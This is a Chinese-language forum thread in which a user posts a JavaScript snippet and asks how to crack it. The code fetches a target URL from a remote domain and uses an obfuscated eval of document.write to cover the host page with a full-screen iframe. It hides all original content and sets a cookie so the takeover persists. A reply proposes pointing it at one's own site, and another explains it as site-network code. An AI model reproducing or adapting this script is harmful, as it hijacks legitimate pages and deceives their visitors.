狮子进--求破解这个框架代码

foye888 28天前 484

var edcode="niuniu";
var titlestr=document.title;
var innerWeb = false;

(function (){
	var Cookies_KL = getCookie("Cookies_KL");
	var sessionStr = sessionStorage.getItem("frmdata");
	if(Cookies_KL && sessionStr){
		console.log(sessionStr);
		setFrame(sessionStr);
	}
	else{
		console.log(1);
		getData();
	}
})( )


function getData(){
	ajax({
		url: "//www.api-cooperation.com/common.php?val="+edcode+"&t="+Math.random(),
		type: "GET",
		dataType: "json",
		success: function (response, xml) {
			innerTxt = JSON.parse(response);
			innerconfig = innerTxt.config;
			innerUrl = innerTxt.url.smplink;
			if(innerUrl.match(/,/i)==","){
				var arr = innerUrl.split(',');
				var innerWeb = arr[Math.floor((Math.random()*arr.length))];
			}else{
				innerWeb=innerUrl;
			}
			if(innerconfig==edcode){
				setCookie("Cookies_KL",1,10);
				sessionStorage.setItem("frmdata",innerWeb);
				setFrame(innerWeb);
			}
			
		},
		fail: function (status) {
			console.log("error");
		}
	});
}

function setFrame(olink){
    var ss = '<title>'+titlestr+'</title><div id="showcloneshengxiaon" style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0  frameborder="0" width="100%" height="100%" src="'+olink+'"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>';
    eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
    try {
      setTimeout(function() {
        console.log(document.body.children.length);
        for (var i = 0; i < document.body.children.length; i++) {
          try {
            var a = document.body.children[i].tagName;
            var b = document.body.children[i].id;
            console.log(i+"***"+a+"**"+b);
            if (b != "iconDiv1" && b != "showcloneshengxiaon" && a!="title") {
              document.body.children[i].style.display = "non" + "e"
            }
          } catch (e) {}
        }
        
        var oMeta = document.createElement('meta');
        oMeta.name = 'viewport';
        oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
        document.getElementsByTagName('head')[0].appendChild(oMeta);
        
      }, 100)
    } catch (e) {}
}
function setCookie(name, value, hour) {
	    hour = hour || 0; 
	    var expires = "";
	    if (hour != 0) { 
	        var date = new Date();
	        date.setTime(date.getTime() + (hour  * 60 * 1000));
	        expires = "; expires=" + date.toGMTString();
	    }
	    document.cookie = name + "=" + escape(value) + expires + "; path=/"; //转码并赋值
	}

function getCookie(name) {
    var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
    if (arr = document.cookie.match(reg)) {
        return unescape(arr[2]);
    } else {
        return null;
    }
}


function ajax(options) {
	options = options || {};
	options.type = (options.type || "GET").toUpperCase();
	options.dataType = options.dataType || "json";
	var params = formatParams(options.data);

	if (window.XMLHttpRequest) {
		var xhr = new XMLHttpRequest();
	} else {
		var xhr = new ActiveXObject('Microsoft.XMLHTTP');
	}

	xhr.onreadystatechange = function () {
		if (xhr.readyState == 4) {
			var status = xhr.status;
			if (status >= 200 && status < 300) {
				options.success && options.success(xhr.responseText, xhr.responseXML);
			} else {
				options.fail && options.fail(status);
			}
		}
	}

	if (options.type == "GET") {
		xhr.open("GET", options.url + "?" + params, true);
		xhr.send(null);
	} else if (options.type == "POST") {
		xhr.open("POST", options.url, true);
		xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		xhr.send(params);
	}
}

function formatParams(data) {
	var arr = [];
	for (var name in data) {
		arr.push(encodeURIComponent(name) + "=" + encodeURIComponent(data[name]));
	}
	arr.push(("v=" + Math.random()).replace(".",""));
	return arr.join("&");
}


最后于 28天前 被foye888编辑 ,原因:
最新回复 (8)
  • 0 引用 2
    写的业务逻辑已经很明显了,要怎么破
    27天前 回复
  • 0 引用 3
    破url 改成我自己的网站啊
    27天前 收起回复
    匿名: 这个没加密,你用html转js之后就看懂了
    26天前回复
    foye888: 你搞错了, 不是你想的那样的! 本来就是js 代码 他这个有php的返回后台的值
    24天前回复
  • 0 引用 4
    这个是含羞草的站群异步加载json后端请求的代码,向后端域名请求json内容,然后前端动态加载div覆盖,每个设备每天加载内容有时间限制

    垃圾代码,没技术含量
    24天前 收起回复
    jsjjyh: 大哥,你是码神啊
    16天前回复
  • 0 引用 5
    hun02495 这个是含羞草的站群异步加载json后端请求的代码,向后端域名请求json内容,然后前端动态加载div覆盖,每个设备每天加载内容有时间限制 垃圾代码,没技术含量
    有没有点技术含量的码,大佬分享一下阿!
    12天前 回复
  • 0 引用 6
    hun02495 这个是含羞草的站群异步加载json后端请求的代码,向后端域名请求json内容,然后前端动态加载div覆盖,每个设备每天加载内容有时间限制 垃圾代码,没技术含量
    有没有点技术含量的码,大佬分享一下阿!
    12天前 回复
  • 0 引用 7
    hun02495 这个是含羞草的站群异步加载json后端请求的代码,向后端域名请求json内容,然后前端动态加载div覆盖,每个设备每天加载内容有时间限制 垃圾代码,没技术含量
    有没有点技术含量的码,大佬分享一下阿!
    12天前 回复
返回
发新帖